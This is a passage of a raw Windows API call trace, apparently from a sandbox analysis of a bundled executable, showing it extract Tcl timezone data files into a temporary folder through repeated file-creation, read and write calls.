lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.652] CloseHandle (hObject=0x10c) returned 1 [0038.652] GetLastError () returned 0x0 [0038.652] SetLastError (dwErrCode=0x0) [0038.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chicago") returned 72 [0038.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chicago" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\chicago"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.652] GetLastError () returned 0x2 [0038.652] SetLastError (dwErrCode=0x2) [0038.652] GetLastError () returned 0x2 [0038.652] SetLastError (dwErrCode=0x2) [0038.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chicago", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chicago", lpFilePart=0x0) returned 0x47 [0038.652] GetLastError () returned 0x2 [0038.652] SetLastError (dwErrCode=0x2) [0038.652] GetLastError () returned 0x2 [0038.652] SetLastError (dwErrCode=0x2) [0038.652] GetLastError () returned 0x2 [0038.652] SetLastError (dwErrCode=0x2) [0038.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chicago") returned 72 [0038.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chicago" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\chicago"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.653] GetFileType (hFile=0x10c) returned 0x1 [0038.653] htonl (hostlong=0xfb2a0000) returned 0x2afb [0038.653] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.654] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.654] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xafb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xafb, lpOverlapped=0x0) returned 1 [0038.654] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.654] CloseHandle (hObject=0x10c) returned 1 [0038.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.656] htonl (hostlong=0x30000000) returned 0x30 [0038.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.656] GetFileType (hFile=0x10c) returned 0x1 [0038.656] htonl (hostlong=0x57d15800) returned 0x58d157 [0038.656] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d8157, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.656] htonl (hostlong=0x35050000) returned 0x535 [0038.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x535) returned 0x550600 [0038.656] htonl (hostlong=0x35050000) returned 0x535 [0038.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.657] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.657] htonl (hostlong=0xc1190000) returned 0x19c1 [0038.657] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19c1) returned 0x561090 [0038.657] htonl (hostlong=0x35050000) returned 0x535 [0038.657] htonl (hostlong=0xc1190000) returned 0x19c1 [0038.657] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a60 [0038.657] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a60 | out: hHeap=0x530000) returned 1 [0038.657] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.657] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.657] CloseHandle (hObject=0x10c) returned 1 [0038.658] GetLastError () returned 0x0 [0038.658] SetLastError (dwErrCode=0x0) [0038.658] GetLastError () returned 0x0 [0038.658] SetLastError (dwErrCode=0x0) [0038.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.658] GetFileType (hFile=0x10c) returned 0x1 [0038.658] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.658] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.658] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.658] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.658] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.658] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.658] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.658] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.658] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.658] CloseHandle (hObject=0x10c) returned 1 [0038.658] GetLastError () returned 0x0 [0038.658] SetLastError (dwErrCode=0x0) [0038.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.658] GetFileType (hFile=0x10c) returned 0x1 [0038.658] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.658] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.659] CloseHandle (hObject=0x10c) returned 1 [0038.659] GetLastError () returned 0x0 [0038.659] SetLastError (dwErrCode=0x0) [0038.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.659] GetFileType (hFile=0x10c) returned 0x1 [0038.659] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.659] CloseHandle (hObject=0x10c) returned 1 [0038.660] GetLastError () returned 0x0 [0038.660] SetLastError (dwErrCode=0x0) [0038.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chihuahua") returned 74 [0038.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chihuahua" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\chihuahua"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.660] GetLastError () returned 0x2 [0038.660] SetLastError (dwErrCode=0x2) [0038.660] GetLastError () returned 0x2 [0038.660] SetLastError (dwErrCode=0x2) [0038.660] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chihuahua", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chihuahua", lpFilePart=0x0) returned 0x49 [0038.660] GetLastError () returned 0x2 [0038.660] SetLastError (dwErrCode=0x2) [0038.660] GetLastError () returned 0x2 [0038.660] SetLastError (dwErrCode=0x2) [0038.660] GetLastError () returned 0x2 [0038.660] SetLastError (dwErrCode=0x2) [0038.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chihuahua") returned 74 [0038.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Chihuahua" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\chihuahua"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.662] GetFileType (hFile=0x10c) returned 0x1 [0038.662] htonl (hostlong=0xc1190000) returned 0x19c1 [0038.662] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.663] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.663] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9c1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9c1, lpOverlapped=0x0) returned 1 [0038.663] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.663] CloseHandle (hObject=0x10c) returned 1 [0038.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.664] htonl (hostlong=0x30000000) returned 0x30 [0038.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.664] GetFileType (hFile=0x10c) returned 0x1 [0038.664] htonl (hostlong=0x8cd65800) returned 0x58d68c [0038.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d868c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.665] htonl (hostlong=0x90000000) returned 0x90 [0038.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0038.665] htonl (hostlong=0x90000000) returned 0x90 [0038.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.665] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.665] htonl (hostlong=0xc1000000) returned 0xc1 [0038.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc1) returned 0x550600 [0038.665] htonl (hostlong=0x90000000) returned 0x90 [0038.665] htonl (hostlong=0xc1000000) returned 0xc1 [0038.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.666] CloseHandle (hObject=0x10c) returned 1 [0038.666] GetLastError () returned 0x0 [0038.666] SetLastError (dwErrCode=0x0) [0038.666] GetLastError () returned 0x0 [0038.666] SetLastError (dwErrCode=0x0) [0038.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.666] GetFileType (hFile=0x10c) returned 0x1 [0038.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.666] CloseHandle (hObject=0x10c) returned 1 [0038.666] GetLastError () returned 0x0 [0038.666] SetLastError (dwErrCode=0x0) [0038.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.667] GetFileType (hFile=0x10c) returned 0x1 [0038.667] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.667] CloseHandle (hObject=0x10c) returned 1 [0038.667] GetLastError () returned 0x0 [0038.667] SetLastError (dwErrCode=0x0) [0038.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.667] GetFileType (hFile=0x10c) returned 0x1 [0038.667] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.667] FileTimeToSystemTime (in: 